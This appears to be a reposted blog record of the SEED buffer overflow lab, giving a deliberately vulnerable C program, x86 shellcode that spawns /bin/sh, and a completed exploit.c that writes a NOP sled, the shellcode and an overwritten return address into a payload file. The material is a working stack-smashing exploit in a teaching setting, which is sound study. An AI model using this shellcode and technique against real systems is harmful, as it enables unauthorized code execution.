当前位置:网站首页>Buffer overflow vulnerability lab experiment record
Buffer overflow vulnerability lab experiment record
2022-07-24 16:46:00 【SakamataZ】
A buffer overflow attack experiment , It's not very difficult , Take advantage of C Stack pointer storage principle . Here is a brief record .
Experiment official website address :http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
List of articles
Disable address randomization

Program source code
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
obtain str Initial address

therefore shellcode It should be placed in 0xbffff177+0x64=0xbffff1db
Use gdb Obtained by disassembly bof The return address is 0x24
So the program code is :
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer+100,shellcode); // take shellcode Copy to buffer
strcpy(buffer+0x24,"\xdb\xf1\xff\xbf"); // stay buffer The first four bytes at a specific offset cover sellcode Address
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Function stack structure diagram

边栏推荐
- What are the safe securities companies? I want to buy stocks on my mobile phone
- QT QML virtual keyboard
- Small end format and big end format (little endian & big endian)
- 期盼已久全平台支持-开源IM项目OpenIM之uniapp更新
- Summary of experience in using.Net test framework xUnit, mstest, specflow
- Qt键盘事件(一)——检测按键输入
- C font usage effect
- IP的概念,IP的分类,IP复用技术
- 文件浏览器?Qt也可以实现!
- Amd Ruilong 7000 is expected to be available on September 15, and the 3D cache version will have to wait
猜你喜欢

thinkphp3.2.5无法跳转到外部链接
[redis] -1. two ways of setting up environment based on docker

ARP 入门

Why should we launch getaverse?

MODIS 16 day data monthly / quarterly synthesis

Jing Wei PS tutorial: basic part a

QT QML virtual keyboard

Meeting OA project progress (I)

Using native JS to realize magnifying glass function

Small end format and big end format (little endian & big endian)
随机推荐
期盼已久全平台支持-开源IM项目OpenIM之uniapp更新
EF miscellaneous
1309. Decode letter to integer mapping
Envi5.3 open GF-1 WFV data
GEO satellite data download
ArcGIS layer annotation display
MODIS 16 day data monthly / quarterly synthesis
剑指 Offer 48. 最长不含重复字符的子字符串
Axi protocol (1): introduction to AMBA bus, introduction to Axi concept and background, characteristics and functions of Axi protocol
Concept of IP, classification of IP, IP multiplexing technology
.NET 测试框架 xUnit,MSTest, Specflow 使用经验汇总
1163: SongGe's score splitting (C language)
AMD锐龙7000预计9月15日上市 3D缓存版还要再等等
【时序逻辑电路】——计数器
SS-Paper【1】:Fully Convolutional Networks for Semantic Segmentation
ArcGIS pixel size changed from 0.00025 to meters
QT keyboard event (I) -- detect key input
Meizu blood exchange: Alibaba quits? Zhuhai SASAC joins the Bureau, and Huang Zhang hands over the controlling stake! Li Nan is removed from the main staff!
工信安全中心牵头搭建数据流通平台 蚂蚁集团等厂商提供技术支持
The differences of several deletions in SQL